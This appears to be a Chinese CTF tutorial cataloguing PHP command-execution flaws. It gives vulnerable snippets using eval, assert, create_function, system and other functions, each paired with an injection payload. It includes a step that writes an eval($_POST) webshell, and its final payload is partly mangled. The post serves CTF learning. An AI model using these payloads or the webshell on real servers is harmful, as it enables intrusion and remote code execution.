前言
代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下
命令执行函数
E.g.1
<?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; $b = "$_GET[d]"; $array[0] =$b; $c = array_map($a,$array); ?>
传入参数c和d,array_map函数作用将**array**作为参数,构造paylaod
?c=assert&d=system(%27ls%27);
E.g.2
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";$b = create_function('',$a);$b();?>
create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
$b = create_function('',$a);
这里$a为函数,' '为参数
那么可以看作为
function lambda(){• echo ' ' ;}
传入payload
b= ;}phpinfo();/*
在function函数中即
function lambda(){ echo ' ' ;}phpinfo();/*}
后面的内容注释掉了,即执行命令
E.g.3
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[d]";$b='print'.$a.';';$f = create_function('$a',$b);$f($a)
跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:
d=1;}system(%27ls%27);/*
一致。
E.g.4
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";assert($a);?>
没什么特别之处,assert直接作为函数执行,payload:
?b=system(%27ls;%27)
E.g.5
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";$b = "$_GET[c]";call_user_func($a,$b);?>
call_user_func()函数的特点,知道后面的后面的a为函数即可
payload:
?b=system&c=whoami
E.g.6
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";$b = array($_GET['c']);call_user_func_array($a,$b);?>
payload:
?b=assert&c=system(%27whoami%27);
E.g.7
<?phperror_reporting(0);show_source(__FILE__);$_GET['a']($_GET['b']);?>
传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
?a=assert&b=system(%27ls%27)
E.g.8
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[b]";eval($a);?>
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
?b=system("ls");
E.g.9
<?phpshow_source(__FILE__);echo "<br>";echo '请输入一个a的值';echo "<br>";error_reporting(0);$price = $_GET['a'];$code = 'echo $name. '.'的美元价格是' .$price.'; ';$b = create_function('$name',$code);$b('iphone');?>
基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置
payload:
?a=1;}system(%27ls%27);/*
E.g.10
<?phpshow_source(__FILE__);error_reporting(0);$sort_by = $_GET['sort_by'];$sorter = 'strnatcasecmp';$database = array('1234','4321');$sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';usort($database,create_function('$a,$b',$sort_function));?>
属于加强版本,$sort_function的内容进行闭合,也就是sort_by的参数值要实现闭合,构造payload:
?sort_by=%27"]);}system(%27whoami%27);/*
E.g.11
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";$b = preg_replace("/abc/e",$a,'abcd');var_dump($b);?>
虽然加了正则,但是并没有什么卵用,假把式,payload:
?c=system(%27ls%27);
E.g.12
<?phpshow_source(__FILE__);$commandExecution = "echo ";echo "<br>";system($commandExecution.$_GET['a']);echo "<br>";?>
payload
?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php
一句话木马写入2.php
也有其它解法直接进行命令执行。
E.g.13
<?phperror_reporting(0);show_source(__FILE__); $a = "$_GET[c]";echo "<br>";exec($a,$b);var_dump($b);?
**exec()**函数直接执行命令,那么payload
?c=whoami
E.g.14
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";echo shell_exec($a);?
函数的特性shell_exec
?c=ls>2.txt
然后执行
?c=cat 2.txt
此时
E.g.15
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";echo "<br>";echo `$a`;?>
看到echo以及传入的字符串,方法类似于上面的一道
?c=cat%20flag.php>3.txt
直接访问3.txt即可,或者
?c=cat%203.txt
E.g.16
<?phperror_reporting(0);show_source(__FILE__);$a = "$_GET[c]";passthru($a);?>
payload:
?c=cat%20flag.php
E.g.17
<?phperror_reporting(0);show_source(__FILE__); $cmd=$_GET['c']; $fd = popen($cmd, 'r'); while($s=fgets($fd)){ print_r($s); } ?>
payload
?c=cat%20flag.php
E.g.18
<?php error_reporting(0); show_source(__FILE__); $command=$_GET['c']; $descriptorspec=array( 0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w') ); $handle=proc_open($command,$descriptorspec,$pipes,NULL); if(!is_resource($handle)){ die('proc_open failed'); } while($s=fgets($pipes[1])){ print_r($s); } while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle);?>
payload
?c=cat%20flag.php
E.g.19 无字母shell
<?phpinclude 'flag.php';if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ //检测字符长度 die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字 die("NO."); } @eval($code); //$code的值要为非字母和数字}else{ highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下
function getflag(){
xxxxxxxxxxxxxxxx
}
@eval($code);
函数的调用就是类似于上面的过程,那么eval在执行的过程中_GET[]且需要调用**getFlag()**方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:
?code=${"
{{{"^"?<>/"}[""^"?"]();&_=getFlag或者
?code=="\`{{{"^"?<>/";{}[\_](https://www.hetianlab.com/%7B$_%7D%5B__%5D);&_=getFlag
这里
//_GET 的变形无字母shell
$_="`{{{"^"?<>/";
小结
大佬请绕路,如有错误欢迎师傅们指出。
实验推荐:PHP命令注入攻击(合天网安实验室)点击进入实操>>